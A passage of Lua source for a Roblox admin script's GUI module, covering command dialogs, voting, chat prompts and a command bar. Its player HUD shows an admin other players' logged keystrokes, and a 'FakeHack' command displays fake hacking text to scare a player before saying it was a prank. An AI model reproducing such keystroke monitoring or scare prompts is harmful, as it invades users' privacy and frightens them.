4565 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = Text Body.Font = "ArialBold" Body.FontSize = "Size36" Body.TextColor3 = Color3.new(1,1,1) Body.TextStrokeTransparency = 0 Body.TextWrapped = true
4566
4567 return Text
4568end
4569
4570function GUI:ShowCommand(Player, CommandTrigger, Dialog)
4571 if not Player then return nil end
4572 if not CommandTrigger then return nil end
4573
4574 if type(CommandTrigger) == "string" and string.sub(CommandTrigger,1,#Settings.Prefix) == Settings.Prefix then CommandTrigger = string.sub(CommandTrigger,#Settings.Prefix + 1) end
4575
4576 local CommandKey = CommandTrigger
4577
4578 if not Commands[CommandKey] then
4579 for CommandNames,_ in pairs(Commands) do
4580 for _,CommandName in pairs(CommandNames) do
4581 if CommandName == CommandKey then
4582 CommandKey = CommandNames
4583 end
4584 end
4585 end
4586 end
4587
4588 local CommandData = Commands[CommandKey]
4589
4590 local BodyText = "No valid command has been entered"
4591 local TitleText = "Error"
4592 local CanExe = false
4593 if CommandData then
4594 if Dialog then
4595 Dialog:Invoke(true)
4596 end
4597 local PlayerRank = RANK:GetRank(Player)
4598 if RANK:ConvertRank(PlayerRank) >= RANK:ConvertRank(CommandData[4]) then CanExe = true end
4599 if PlayerRank == "Member" and CommandData.Abusable == true then CanExe = false end
4600
4601 TitleText = "Command: "..CommandKey[1]
4602 BodyText = "COMMAND: "..Settings.Prefix..CommandKey[1]..Settings.Bet..CommandData[1]..[[
4603
4604
4605Aliases: ]]..Settings.Prefix..table.concat(CommandKey, ", "..Settings.Prefix)..[[
4606
4607
4608Description: ]]..CommandData[2]..[[
4609
4610
4611Arguments: ]]..CommandData[3]..[[
4612
4613
4614Minimum rank needed: ]]..CommandData[4]..[[
4615
4616
4617Fun command: ]]..STRING:BoolString(CommandData[5])..[[
4618
4619
4620Abusable command: ]]..STRING:BoolString(CommandData.Abusable)..[[
4621
4622
4623Http Command ]]..STRING:BoolString(CommandData.Http)
4624 end
4625
4626 _, _, Closed, _, Minimized = GUI:FullMessage(Player, TitleText, BodyText, "Search", not CanExe)
4627 if Dialog then
4628 Closed.Event:connect(function() Dialog:Invoke(false) end)
4629 Minimized.Event:connect(function() Dialog:Invoke(false) end)
4630 end
4631end
4632
4633function GUI:CreateHUD(Speaker)
4634 if not Speaker or not Speaker:FindFirstChild("PlayerGui") then return nil end
4635
4636 local SG = Speaker.PlayerGui:FindFirstChild("M".."a".."ke".."r".."m".."od".."elLu".."a's HUD Gui")
4637 if SG then SG:Destroy() end
4638 SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."a".."k".."e".."r".."m".."odelLu".."a's HUD Gui"
4639
4640 local function AddHUD(Player, Char)
4641 if not Char or not Char:FindFirstChild("Head") then return nil end
4642
4643 local Rank = RANK:GetRank(Player)
4644 local PlayerHUD = Instance.new("BillboardGui", SG) PlayerHUD.Name = "PlayerHUD" PlayerHUD.AlwaysOnTop = true PlayerHUD.Adornee = Char.Head PlayerHUD.Size = UDim2.new(3,0,3,0)
4645 local HUD = Instance.new("ImageLabel", PlayerHUD) HUD.Name = "HUD" HUD.Size = UDim2.new(1, 0, 1, 0) HUD.BackgroundColor3 = Color3.new(1, 1, 1) HUD.BackgroundTransparency = 1
4646 local InfoLabel = Instance.new("TextLabel", PlayerHUD) InfoLabel.Name = "InfoLabel" InfoLabel.Position = UDim2.new(1, -1, 0, 0) InfoLabel.Size = UDim2.new(7, 0, 0.8, 0) InfoLabel.BackgroundColor3 = Color3.new(1, 1, 1) InfoLabel.BackgroundTransparency = 1 InfoLabel.Text = "" InfoLabel.Font = "Arial" InfoLabel.TextScaled = true InfoLabel.TextStrokeTransparency = 0.9 InfoLabel.TextWrapped = true InfoLabel.TextXAlignment = "Left" InfoLabel.TextYAlignment = "Top" InfoLabel.TextColor3 = Color3.new(0, 0, 0) InfoLabel.TextStrokeColor3 = Color3.new(1, 1, 1)
4647 local KeyLabel = Instance.new("TextLabel", PlayerHUD) KeyLabel.Name = "KeyLabel" KeyLabel.Position = UDim2.new(-1, 1, -1, 0) KeyLabel.Size = UDim2.new(1, 0, 3, 0) KeyLabel.BackgroundColor3 = Color3.new(1, 1, 1) KeyLabel.BackgroundTransparency = 1 KeyLabel.Text = "" KeyLabel.Font = "Arial" KeyLabel.FontSize = "Size14" KeyLabel.TextScaled = true KeyLabel.TextStrokeTransparency = 0.9 KeyLabel.TextWrapped = true KeyLabel.TextXAlignment = "Right" KeyLabel.TextYAlignment = "Top" KeyLabel.TextColor3 = Color3.new(1, 1, 1)
4648 local KeyOutput = Instance.new("TextLabel", PlayerHUD) KeyOutput.Name = "KeyOutput" KeyOutput.Position = UDim2.new(0, 1, -0.5, 0) KeyOutput.Size = UDim2.new(5, 0, 0.5, 1) KeyOutput.BackgroundTransparency = 1 KeyOutput.Text = "" KeyOutput.Font = "SourceSansLight" KeyOutput.FontSize = "Size14" KeyOutput.TextScaled = true KeyOutput.TextWrapped = true KeyOutput.TextXAlignment = "Left" KeyOutput.TextColor3 = Color3.new(1, 1, 1)
4649 coroutine.wrap(function() while wait() and InfoLabel and InfoLabel.Parent and Char and Char:FindFirstChild("Head") do
4650 InfoLabel.Text = "Name: "..Player.Name..[[
4651Rank: ]]..RANK:GetRank(Player)..[[
4652Age: ]]..STRING:FindAge(Player.AccountAge)
4653 if Speaker.Character and Speaker.Character:FindFirstChild("Head") then
4654 InfoLabel.Text = InfoLabel.Text..[[
4655Distance: ]]..CORE:Round((Speaker.Character.Head.Position - Player.Character.Head.Position).magnitude)
4656 end
4657 if LastKeys[Player.UserId] then
4658 local Keys = ""
4659 local KeyLog = {}
4660 for _,KeyData in pairs(LastKeys[Player.UserId]) do
4661 table.insert(KeyLog, KeyData[1])
4662 if KeyData[2] == 8 then
4663 Keys = string.sub(Keys, 1, #Keys - 1)
4664 elseif KeyData[2] == 13 then
4665 Keys = Keys.." "
4666 else
4667 Keys = Keys..string.char(KeyData[2])
4668 end
4669 end
4670 KeyLabel.Text = table.concat(KeyLog, "\n")
4671 KeyOutput.Text = Keys
4672 end
4673 HUD.Image = "rbxassetid://"..RankHUD[Rank]
4674 end end)()
4675
4676 local CharRev,Removing = nil,nil
4677 CharRev = Player.CharacterRemoving:connect(function()
4678 PlayerHUD:Destroy()
4679 CharRev:disconnect()
4680 Removing:disconnect()
4681 end)
4682 Removing = Server.Players.PlayerRemoving:connect(function(PlayerR) if PlayerR == Player then
4683 PlayerHUD:Destroy()
4684 CharRev:disconnect()
4685 Removing:disconnect()
4686 end end)
4687 end
4688
4689 local function ConnectHUD(Player)
4690 if Player ~= Speaker then
4691 if Player.Character then
4692 AddHUD(Player, Player.Character)
4693 end
4694
4695 Player.CharacterAdded:connect(function(Char)
4696 if Speaker then
4697 AddHUD(Player, Char)
4698 else return nil
4699 end
4700 end)
4701 end
4702 end
4703
4704 for _,Player in pairs(Server.Players:GetPlayers()) do
4705 ConnectHUD(Player)
4706 end
4707
4708 Server.Players.PlayerAdded:connect(ConnectHUD)
4709end
4710
4711function GUI:CreateMessagePrompt(Player, Title, ImageID, PreAdd, SpeakerEvents)
4712 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4713 local Stopped = false
4714
4715 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.3,0,0.5,0), nil, ImageID)
4716 Frame.Size = UDim2.new(1, 0, 1, -30)
4717 Frame.CanvasSize = UDim2.new(0, 0 ,0 ,0)
4718
4719 local FakeCB = Instance.new("TextButton", Frame.Parent) FakeCB.Name = "FakeChatBox" FakeCB.Position = UDim2.new(0, 0, 1, -30) FakeCB.Size = UDim2.new(1, -50, 0, 30) FakeCB.BackgroundTransparency = 1 FakeCB.Text = "Click here or press the '-' key" FakeCB.Font = Settings.Font FakeCB.FontSize = "Size18" FakeCB.TextXAlignment = "Left" FakeCB.ZIndex = 2
4720 local ChatBox = Instance.new("TextBox", Frame.Parent) ChatBox.Name = "ChatBox" ChatBox.Position = UDim2.new(0, 0, 1, -30) ChatBox.Size = UDim2.new(1, -50, 0, 30) ChatBox.BackgroundTransparency = 0.5 ChatBox.BackgroundColor3 = GUI:GetColor() ChatBox.Text = "" ChatBox.Font = Settings.Font ChatBox.FontSize = "Size18" ChatBox.TextXAlignment = "Left" ChatBox.ClearTextOnFocus = false
4721 local Send = Instance.new("TextButton", Frame.Parent) Send.Position = UDim2.new(1, -50, 1, -30) Send.Size = UDim2.new(0, 50, 0, 30) Send.BackgroundColor3 = GUI:GetColor() Send.BackgroundTransparency = 0.5 Send.Text = "Enter" Send.Font = Settings.Font Send.FontSize = "Size14"
4722
4723 local function AddLine(Speaker, MessageText, MessageColor)
4724 MessageText = STRING:DetermineFilter(MessageText, Speaker, Player)
4725 if MessageColor == true then MessageColor = Color3.new(1,0,0) end
4726 if not MessageColor then MessageColor = GUI:ContrastColor() end
4727 local Bounds = Instance.new("Frame") Bounds.Name = "Bounds" Bounds.Position = UDim2.new(0, 0, 1, -20) Bounds.Size = UDim2.new(1, 0, 0, 20) Bounds.BackgroundTransparency = 1
4728 local Name = Instance.new("TextLabel", Bounds) Name.Name = "PName" Name.Size = UDim2.new(0, 60, 1, 0) Name.BackgroundTransparency = 1 Name.Text = Speaker..": " Name.Font = "ArialBold" Name.FontSize = "Size14" Name.TextXAlignment = "Left" Name.TextColor3 = GUI:GetNameColor(Speaker).Color
4729 local Message = Instance.new("TextLabel", Bounds) Message.Name = "Message" Message.Position = UDim2.new(0, 60, 0, 0) Message.Size = UDim2.new(0, 60, 1, 0) Message.BackgroundTransparency = 1 Message.Text = MessageText Message.Font = "ArialBold" Message.FontSize = "Size14" Message.TextXAlignment = "Left" Message.TextColor3 = MessageColor
4730 Bounds.Parent = Frame
4731 end
4732
4733 local RPR = CORE:CreateRemotePropertyReader(ChatBox)
4734
4735 local Functions = Instance.new("Folder", Frame) Functions.Name = "Functions"
4736 local SendPressed = Instance.new("BindableEvent", Functions) SendPressed.Name = "SendPressed"
4737 local AddMessage = Instance.new("BindableFunction", Functions) AddMessage.Name = "AddMessage"
4738
4739 local EnterPressed = Instance.new("RemoteFunction", ChatBox) EnterPressed.Name = "EnterPressed"
4740 local ClearCB = Instance.new("RemoteFunction", ChatBox) ClearCB.Name = "ClearCB"
4741
4742 CORE:ExecuteResource("MessagePromptHandler", Frame)
4743
4744 wait(0.1)
4745
4746 if PreAdd then
4747 for Num,Add in pairs(PreAdd) do
4748 AddLine(Add[1], Add[2], Add[3])
4749 end
4750 end
4751
4752 --[[
4753 CORE:ExecuteResource("ChatBoxLocal", ChatBox)
4754
4755 CORE:HandleEvent(ChatBox, "MouseEnter", function()
4756 if ChatBox.Text == "Click here or press the '-' key" then
4757 ChatBox.Text = ""
4758 end
4759 end)
4760 ]]
4761
4762 local function FireSendPressed()
4763 local Text = CORE:ReadProperty(RPR, Player, "Text")
4764 if Text ~= "" and Text ~= "Click here or press the '-' key" then
4765 SendPressed:Fire(Text)
4766 FakeCB.Visible = true
4767 ClearCB:InvokeClient(Player)
4768 end
4769 end
4770
4771 Closed.Event:connect(function()
4772 if Stopped == false then
4773 Stopped = true
4774 if SpeakerEvents then SpeakerEvents("Leave") end
4775 end
4776 end)
4777
4778 CORE:HandleEvent(Send, "MouseButton1Down", FireSendPressed)
4779 EnterPressed.OnServerInvoke = FireSendPressed
4780 AddMessage.OnInvoke = AddLine
4781
4782 if SpeakerEvents then
4783 SpeakerEvents("Join")
4784
4785 coroutine.wrap(function()
4786 repeat wait() until not Frame or not Frame.Parent
4787 if Stopped == false then
4788 Stopped = true
4789 SpeakerEvents("Leave")
4790 end
4791 end)()
4792 end
4793
4794 return SendPressed, AddMessage
4795end
4796
4797function GUI:PromptMessageWithButtons(Player, Title, BodyText, IconID, Buttons, Time, ShowFormButtons, DontFilter)
4798 if tonumber(Time) then ShowFormButtons = false end
4799 if not DontFilter then BodyText = STRING:DetermineFilter(BodyText, Player) end
4800 local Frame, Close = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.4,0), nil, IconID, ShowFormButtons)
4801 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, -60) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextWrapped = true Body.TextColor3 = GUI:ContrastColor()
4802 local Clicked = nil
4803 local Alive = true
4804
4805 local function ClosePrompt(ButtonName)
4806 Alive = false
4807 Close:Invoke()
4808 Clicked = ButtonName
4809 end
4810
4811 for Num,Select in pairs(Buttons) do
4812 local Name = Select
4813 local Style = "White"
4814 local TextColor3 = Color3.new(0,0,0)
4815 if type(Select) == "table" then
4816 Name = Select[1]
4817 if Select[2] then Style = Select[2] end
4818 if Select[3] then TextColor3 = Select[3] end
4819 elseif type(Select) == "string" then
4820 local Case = string.lower(Select)
4821 if Case == "ok" then
4822 Name = "Ok"
4823 Style = "Primary"
4824 TextColor3 = Color3.new(1,1,1)
4825 elseif Case == "yes" then
4826 Name = "Yes"
4827 Style = "Gray"
4828 TextColor3 = Color3.new(0,1,0)
4829 elseif Case == "no" then
4830 Name = "No"
4831 Style = "Red"
4832 TextColor3 = Color3.new(1,0,0)
4833 end
4834 end
4835
4836 if Style == "None" then Style = "Custom" end
4837 if Style == "Casual" then Style = "RobloxButton" end
4838 if Style == "Red" then Style = "RobloxButtonDefault" end
4839 if Style == "Gray" then Style = "RobloxRoundButton" end
4840 if Style == "Primary" then Style = "RobloxRoundDefaultButton" end
4841 if Style == "White" then Style = "RobloxRoundDropdownButton" end
4842
4843 local Button = Instance.new("TextButton", Frame) Button.Name = Name Button.Position = UDim2.new((Num/#Buttons)-(1/#Buttons), 0, 1, -55) Button.Size = UDim2.new(1/#Buttons, 0, 0, 50) Button.BackgroundColor3 = Color3.new(1, 1, 1) Button.Text = Name Button.Font = Settings.Font Button.FontSize = "Size14" Button.TextScaled = true Button.TextWrapped = true Button.TextColor3 = TextColor3 Button.Style = Style
4844 CORE:HandleEvent(Button, "MouseButton1Down", function() ClosePrompt(Name) end)
4845 SOUND:BindButton(Button)
4846 end
4847
4848 if tonumber(Time) then
4849 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4850 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4851 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4852
4853 for i = Time,0,-1 do
4854 for ii = 1,10 do
4855 if Alive == true then
4856 Ticker.Text = i
4857 wait(0.1)
4858 else
4859 break
4860 end
4861 end
4862 end
4863 if Alive == true then
4864 ClosePrompt()
4865 end
4866 end
4867
4868 repeat wait() until Alive == false
4869 return Clicked
4870end
4871
4872function GUI:Vote(Speaker, Players, Text, Time)
4873 if not Players or not Text or #Players <= 0 then return end
4874
4875 local Votes = {}
4876 local Tick = 0
4877
4878 for _,Player in pairs(Players) do
4879 local FilterText = STRING:DetermineFilter(Text, Speaker, Player)
4880 local CanVote = true
4881 if not game.Players:FindFirstChild(tostring(Player)) or not Player.PlayerGui then CanVote = false end
4882 if CanVote == true then
4883 coroutine.wrap(function()
4884 local Answer = GUI:PromptMessageWithButtons(Player, "Vote", FilterText, 34730262, {"Yes", "No"}, Time, false, true)
4885 if Answer == nil then Answer = "Unknown" end
4886 table.insert(Votes, Answer)
4887 end)()
4888 end
4889 end
4890 repeat wait(1) Tick = Tick + 1 until #Votes >= #Players or Tick >= Time
4891 wait(2)
4892 if Speaker and Speaker:FindFirstChild("PlayerGui") then
4893 local Total = #Players
4894 local Yes,No,Unknown = 0,0,0
4895 for _,Vote in pairs(Votes) do
4896 if Vote == "Yes" then Yes = Yes + 1
4897 elseif Vote == "No" then No = No + 1
4898 end
4899 end
4900 Unknown = #Players - #Votes
4901
4902 local Frame = GUI:CreateForm(Speaker, "Vote Results", UDim2.new(0.35, 0, 0.35, 0), nil, 42330863)
4903 local QText = Instance.new("TextLabel", Frame) QText.Name = "QText" QText.Size = UDim2.new(1, 0, 1, -55) QText.BackgroundColor3 = Color3.new(1, 1, 1) QText.BackgroundTransparency = 1 QText.Text = "Results for: "..STRING:DetermineFilter(Text, Speaker) QText.Font = Settings.Font QText.FontSize = "Size18" QText.TextWrapped = true QText.TextYAlignment = "Top" QText.TextColor3 = GUI:ContrastColor()
4904 local RTextYes = Instance.new("TextLabel", Frame) RTextYes.Name = "RTextYes" RTextYes.Position = UDim2.new(0, 0, 1, -55) RTextYes.Size = UDim2.new(1, 0, 0, 55) RTextYes.BackgroundColor3 = Color3.new(1, 1, 1) RTextYes.BackgroundTransparency = 1 RTextYes.Font = Settings.Font RTextYes.FontSize = "Size18" RTextYes.TextXAlignment = "Left" RTextYes.TextYAlignment = "Bottom" RTextYes.TextColor3 = Color3.new(0, 1, 0) RTextYes.Text = [[Yes:
4905]]..Yes.."/"..Total..[[
4906]]..math.ceil((Yes/Total)*100).."% "
4907 local RTextNo = Instance.new("TextLabel", Frame) RTextNo.Name = "RTextNo" RTextNo.Position = UDim2.new(0, 0, 1, -55) RTextNo.Size = UDim2.new(1, 0, 0, 55) RTextNo.BackgroundColor3 = Color3.new(1, 1, 1) RTextNo.BackgroundTransparency = 1 RTextNo.Font = Settings.Font RTextNo.FontSize = "Size18" RTextNo.TextXAlignment = "Right" RTextNo.TextYAlignment = "Bottom" RTextNo.TextColor3 = Color3.new(1, 0, 0) RTextNo.Text = [[No:
4908]]..No.."/"..Total..[[
4909]]..math.ceil((No/Total)*100).."% "
4910 local RTextUnknown = Instance.new("TextLabel", Frame) RTextUnknown.Name = "RTextUnknown" RTextUnknown.Position = UDim2.new(0, 0, 1, -55) RTextUnknown.Size = UDim2.new(1, 0, 0, 55) RTextUnknown.BackgroundColor3 = Color3.new(1, 1, 1) RTextUnknown.BackgroundTransparency = 1 RTextUnknown.Font = Settings.Font RTextUnknown.FontSize = "Size18" RTextUnknown.TextYAlignment = "Bottom" RTextUnknown.TextColor3 = Color3.new(0, 0, 0) RTextUnknown.Text = [[No vote:
4911]]..Unknown.."/"..Total..[[
4912]]..math.ceil((Unknown/Total)*100).."% "
4913 end
4914end
4915
4916--GUI:Vote(game.Players.Player1, {game.Players.Player1}, "fuck me", 30)
4917
4918function GUI:LoadGui(Player, Text, InfoText)
4919 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4920 local Dead = false
4921
4922 local Frame, Close = GUI:CreateForm(Player, Text, UDim2.new(0.2,100,0.1,100), nil, 206886319, false)
4923 local WaitIcon = Instance.new("ImageLabel", Frame) WaitIcon.Name = "WaitIcon" WaitIcon.Position = UDim2.new(0, 10, 0.5, -35) WaitIcon.Size = UDim2.new(0, 70, 0, 70) WaitIcon.BackgroundColor3 = Color3.new(1, 1, 1) WaitIcon.BackgroundTransparency = 1 WaitIcon.Image = "http://roblox.com/asset/?id=206886319"
4924 local LoadLabel = Instance.new("TextLabel", Frame) LoadLabel.Position = UDim2.new(0, 85, 0, 0) LoadLabel.Size = UDim2.new(1, -90, 1, 0) LoadLabel.TextColor3 = GUI:ContrastColor() LoadLabel.BackgroundTransparency = 1 LoadLabel.Text = Text LoadLabel.Font = "ArialBold" LoadLabel.FontSize = "Size24" LoadLabel.TextWrapped = true LoadLabel.TextXAlignment = "Left"
4925 local Info = Instance.new("TextLabel", Frame) Info.Size = UDim2.new(1, 0, 1, 0) Info.TextColor3 = GUI:ContrastColor() Info.BackgroundTransparency = 1 Info.Text = "" Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextWrapped = true Info.TextXAlignment = "Left" Info.TextYAlignment = "Bottom"
4926 if InfoText then Info.Text = InfoText end
4927
4928 local CloseGui = Instance.new("BindableFunction", Frame) CloseGui.Name = "CloseGui"
4929 local AddInfo = Instance.new("BindableFunction", Frame) CloseGui.Name = "AddInfo"
4930
4931 CloseGui.OnInvoke = function()
4932 Close:Invoke()
4933 Dead = true
4934 end
4935 AddInfo.OnInvoke = function(AddText)
4936 Info.Text = AddText
4937 end
4938
4939 coroutine.wrap(function()
4940 for i = 0,math.huge,3 do
4941 if Dead == false and Frame then
4942 WaitIcon.Rotation = i
4943 wait()
4944 else
4945 break
4946 end
4947 end
4948 end)()
4949
4950 coroutine.wrap(function()
4951 while Dead == false and Frame do
4952 wait(0.5)
4953 LoadLabel.Text = Text.."."
4954 wait(0.5)
4955 LoadLabel.Text = Text..".."
4956 wait(0.5)
4957 LoadLabel.Text = Text.."..."
4958 wait(0.5)
4959 LoadLabel.Text = Text..".."
4960 wait(0.5)
4961 LoadLabel.Text = Text.."."
4962 wait(0.5)
4963 LoadLabel.Text = Text
4964 end
4965 end)()
4966
4967 wait(1)
4968
4969 return CloseGui, AddInfo
4970end
4971
4972function GUI:FakeHack(Player) coroutine.wrap(function()
4973 if not Player or not Player:FindFirstChild("PlayerGui") then return end
4974 local FakeText = [[
4975>SHELL: BEGIN
4976>RUNCODE:
4977return {
4978 local Hack = {"Account", "Tix", "Robux"};
4979 function Start(Type, Inject, Scan)
4980 if not Inject then Inject = "In-Game" end
4981 return {Type, Inject, Scan}
4982 end
4983 for Exe,Exploit in pairs(Hack) do
4984 local IP = Start("In-Game",Exploit,
4985 BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
4986 {"LOCAL-IP", "SERVER-IP", "HOST-IP"}
4987 )
4988 Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
4989 for i = 1,#Injection[2] do
4990 Log("PlayerData", "ConnectHost", "PLAYERNAME")
4991 end
4992 local PlayerProxy = newproxy(true)
4993 setmetatable(PlayerProxy,Injection[3],{
4994 __index = function(StealData, ...) local Data = unpack(...)
4995 return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
4996 end;
4997 })
4998 end
4999 Log("HACKED HOST: PLAYERNAME")
5000}
5001>HACKED HOST: PLAYERNAME
5002
5003]]
5004 local SG = Player.PlayerGui:FindFirstChild("MML Hack Gui")
5005 if SG then SG:Destroy() end
5006 SG = Instance.new("ScreenGui", Player.PlayerGui)
5007 SG.Name = "MML Hack Gui"
5008 local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
5009 local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 CORE:HandleEvent(X, "MouseButton1Click", function() SG:Destroy() end)
5010 local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true HT.Font = "Code"
5011 for i = 1,#FakeText do
5012 HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
5013 if math.random(1,5) == 1 then
5014 wait()
5015 end
5016 end
5017 HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
5018 wait(3)
5019 HT.Text = HT.Text..[[>INFO: You did not really get hacked, this command is a
5020fake hack command from Maker]]..[[ModelLu]]..[[a's Admin V3]]
5021 X.Visible = true
5022end)() end
5023
5024function GUI:CommandBar(Player)
5025 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5026
5027 local Frame = GUI:CreateForm(Player, "Command Bar", UDim2.new(0.5, 100, 0.1, 50), UDim2.new(0.25, -50, 0.1, 0), "Admin", nil, nil, nil, nil, nil, nil, true)
5028 local CommandBox = Instance.new("TextBox", Frame) CommandBox.Name = "CommandBox" CommandBox.Position = UDim2.new(0.3, 5, 0, 5) CommandBox.Size = UDim2.new(0.7, -20, 0.4, 0) CommandBox.BackgroundColor3 = GUI:GetColor() CommandBox.BackgroundTransparency = Settings.TransparencyScheme CommandBox.Text = "Enter a command here" CommandBox.Font = Settings.Font CommandBox.FontSize = "Size18" CommandBox.TextXAlignment = "Left" CommandBox.TextColor3 = GUI:ContrastColor() CommandBox.ClearTextOnFocus = false
5029 local Execute = Instance.new("TextButton", Frame) Execute.Name = "Execute" Execute.Position = UDim2.new(0.3, 5, 0.7, -10) Execute.Size = UDim2.new(0.7, -20, 0.4, -10) Execute.BackgroundColor3 = GUI:GetColor() Execute.BackgroundTransparency = Settings.TransparencyScheme Execute.Text = "Execute" Execute.Font = "ArialBold" Execute.FontSize = "Size18" Execute.TextColor3 = GUI:ContrastColor()
5030 local Suggest = Instance.new("ScrollingFrame", Frame) Suggest.Name = "Suggest" Suggest.BackgroundTransparency = Settings.TransparencyScheme Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest.BackgroundColor3 = GUI:ContrastColor() Suggest.Size = UDim2.new(0.3,0,1,0)
5031
5032 local _,Rank = RANK:GetRank(Player)
5033 local UsableCommands = {}
5034 for CommandNames,Data in pairs(Commands) do
5035 if not Data.Hidden then
5036 if RANK:ConvertRank(Data[4]) <= Rank then
5037 for _,Command in pairs(CommandNames) do
5038 table.insert(UsableCommands, {Command, Data[3]})
5039 end
5040 end
5041 end
5042 end
5043
5044 local RPR = CORE:CreateRemotePropertyReader(CommandBox)
5045
5046 local function ExecuteText()
5047 local Text = CORE:ReadProperty(RPR, Player, "Text")
5048 CORE:Chatted(Text, Player, true)
5049 CommandBox.Text = "Enter a command here"
5050 end
5051
5052 local function AddSuggestion(Text)
5053 if Text == nil then Text = Settings.Prefix end
5054 local Suggestion = Instance.new("TextButton", Suggest) Suggestion.Name = "Suggestion" Suggestion.Size = UDim2.new(1, -13, 0, 25) Suggestion.Position = UDim2.new(0,0,0,(#Suggest:GetChildren()-1)*25) Suggestion.BackgroundColor3 = Color3.new(1, 1, 1) Suggestion.BackgroundTransparency = Settings.TransparencyScheme Suggestion.Text = Text Suggestion.Font = Settings.Font Suggestion.FontSize = "Size14" Suggestion.TextXAlignment = "Left" Suggestion.TextColor3 = Color3.new(0, 0, 0)
5055 Suggest.CanvasSize = Suggest.CanvasSize + UDim2.new(0,0,0,25)
5056 CORE:HandleEvent(Suggestion, "MouseButton1Down", function()
5057 if Text == Settings.Prefix then
5058 CommandBox.Text = Settings.Prefix
5059 else
5060 CommandBox.Text = Settings.Prefix..Text
5061 end
5062 CORE:ExecuteResource("Focus", CommandBox)
5063 end, true)
5064 end
5065
5066 CORE:HandleEvent(CommandBox, "MouseEnter", function()
5067 if CommandBox.Text == "Enter a command here" then
5068 CommandBox.Text = ""
5069 end
5070 end)
5071
5072 local EnterPressed = Instance.new("RemoteFunction", CommandBox) EnterPressed.Name = "EnterPressed"
5073 CORE:ExecuteResource("ChatBoxLocal", CommandBox)
5074
5075 CORE:HandleEvent(Execute, "MouseButton1Down", ExecuteText)
5076 EnterPressed.OnServerInvoke = ExecuteText
5077
5078 CORE:HandleEvent(CommandBox, "Changed", function(Prop) if Prop == "Text" then
5079 Suggest.CanvasSize = UDim2.new(0,0,0,0)
5080 Suggest:ClearAllChildren()
5081 local Text = CORE:ReadProperty(RPR, Player, "Text")
5082 if Text == "" then
5083 AddSuggestion(Settings.Prefix)
5084 end
5085
5086 if string.sub(string.lower(Text),1,#Settings.Prefix) == string.lower(Settings.Prefix) then
5087 Text = string.sub(Text,#Settings.Prefix+1)
5088 end
5089 for _,Data in pairs(UsableCommands) do
5090 local Command,Args = Data[1],Data[2]
5091 if string.find(string.lower(Command),string.lower(Text)) then
5092 local NewSuggestion = Command
5093 if Args >= 1 then NewSuggestion = NewSuggestion..Settings.Bet end
5094 AddSuggestion(NewSuggestion)
5095 end
5096 end
5097
5098 end end)
5099end
5100
5101function GUI:Countdown(Player, AllSeconds) coroutine.wrap(function()
5102 if not Player or not AllSeconds then return nil end
5103 AllSeconds = tonumber(AllSeconds)
5104 local Frame, Close, Closed, _, __, Restore = GUI:CreateForm(Player, "Countdown", UDim2.new(0, 200, 0, 80), UDim2.new(0, 0, 0, 200), 154818730)
5105 AllSeconds = math.floor(AllSeconds)
5106 if AllSeconds < 1 then AllSeconds = 1 elseif AllSeconds > 300 then AllSeconds = 300 end
5107 local Time = Instance.new("TextLabel", Frame) Time.Name = "Time" Time.Size = UDim2.new(1, 0, 1, 0) Time.BackgroundTransparency = 1 Time.Text = "00:00" Time.Font = "ArialBold" Time.FontSize = "Size24" Time.TextYAlignment = "Top" Time.TextColor3 = GUI:ContrastColor()
5108 local Full = Instance.new("Frame", Frame) Full.Name = "Full" Full.Position = UDim2.new(0.1, 0, 0.7, 0) Full.Size = UDim2.new(0.8, 0, 0, 5) Full.BackgroundColor3 = GUI:ContrastColor() Full.BorderSizePixel = 0
5109 local Part = Instance.new("Frame", Full) Part.Name = "Part" Part.Size = UDim2.new(0, 0, 1, 0) Part.BackgroundColor3 = GUI:GetColor() Part.BorderColor3 = Color3.new(1, 1, 1) Part.BorderSizePixel = 2
5110 local Tick = SOUND:MakeSound(Frame, 151715959, 1, 1)
5111 local Alarm = SOUND:MakeSound(Frame, 131573697, 1, 1)
5112
5113 local CurrentSeconds = AllSeconds
5114 local Alive = true
5115 coroutine.wrap(function() for i = 0,AllSeconds do
5116 if not Alive then break end
5117 local Seconds = tostring(math.fmod(CurrentSeconds,60))
5118 local Minutes = tostring(math.floor(CurrentSeconds/60))
